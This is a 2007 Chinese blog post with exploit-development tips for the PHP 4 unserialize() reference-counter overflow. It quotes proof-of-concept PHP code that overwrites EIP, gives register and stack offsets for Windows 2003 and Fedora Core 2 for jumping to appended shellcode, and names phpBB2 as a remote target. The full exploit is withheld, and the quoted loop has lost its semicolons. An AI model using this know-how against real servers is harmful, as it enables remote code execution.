2007年5月24日星期四

[Tips]关于PHP 4 unserialize() ZVAL Reference Counter Overflow

by axis
Date: 2007-03-21
http://www.ph4nt0m.org

就是MOPB-04-2007.php,这个漏洞的利用起来没有其他几个漏洞通用性好,但是这个漏洞的优点在于是可以远程利用的,而且这个函数用的也比较多。

SE大牛公布的POC是可以利用的,但是有几个问题需要注意下。我们先看我们比较关心的地方:

  $hashtable = str_repeat("A", 39);
  
  
$hashtable[5*4+0]=chr(0x58);
  
$hashtable[5*4+1]=chr(0x40);
  
$hashtable[5*4+2]=chr(0x06);
  
$hashtable[5*4+3]=chr(0x08);
  
  
$hashtable[8*4+0]=chr(0x66);
  
$hashtable[8*4+1]=chr(0x77);
  
$hashtable[8*4+2]=chr(0x88);
  
$hashtable[8*4+3]=chr(0x99);

  
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
  
for ($i=0$i<65535$i++) {
    
$str .= 'i:0;R:2;';
  }
  
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';



 0x08064058这里要求其内容是一个可读的地址,这个地址实际上是无所谓的,但是在不同系统里,可能不一样。所以这个地址最好选到某函数表里,其内容就是一个函数的地址。而且这个地址要求不能有什么变化。

在linux上,选用上面POC提供的地址就ok了。在win里,需要在某个进程的函数表里找个地址,如果是结合了apache,就该去apache模块的函数表里找,这种地址一般都比较固定。

接下来POC会覆盖EIP为0x99887766,很容易就控制eip了,现在难点是跳到shellcode去执行。

在这里,经过我测试,发现在windows里,ebx会指向hashtable,linux中edi会指向hashtable
所以在此可以通过jmp reg的方法,来跳转到shellcode去。

在前面定义一段shellcode

$shellcode = "\xcc"//等等



 然后,在后面把shellcode直接付在str的最后

$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'.$shellcode;

 


 经过我调试,发现在我的2003 sp1 CN上,在[ESP+68h] 处会指向shellcode
在FC2里,是 $esp+616处指向shellcode

所以,只需要把hashtable的最开始几个字符,改成 call [esp+xxx]就可以跳转到shellcode去了。

具体exp就不列到这里了。

这个漏洞看来是可以远程溢出的,比如phpbb2



没有评论: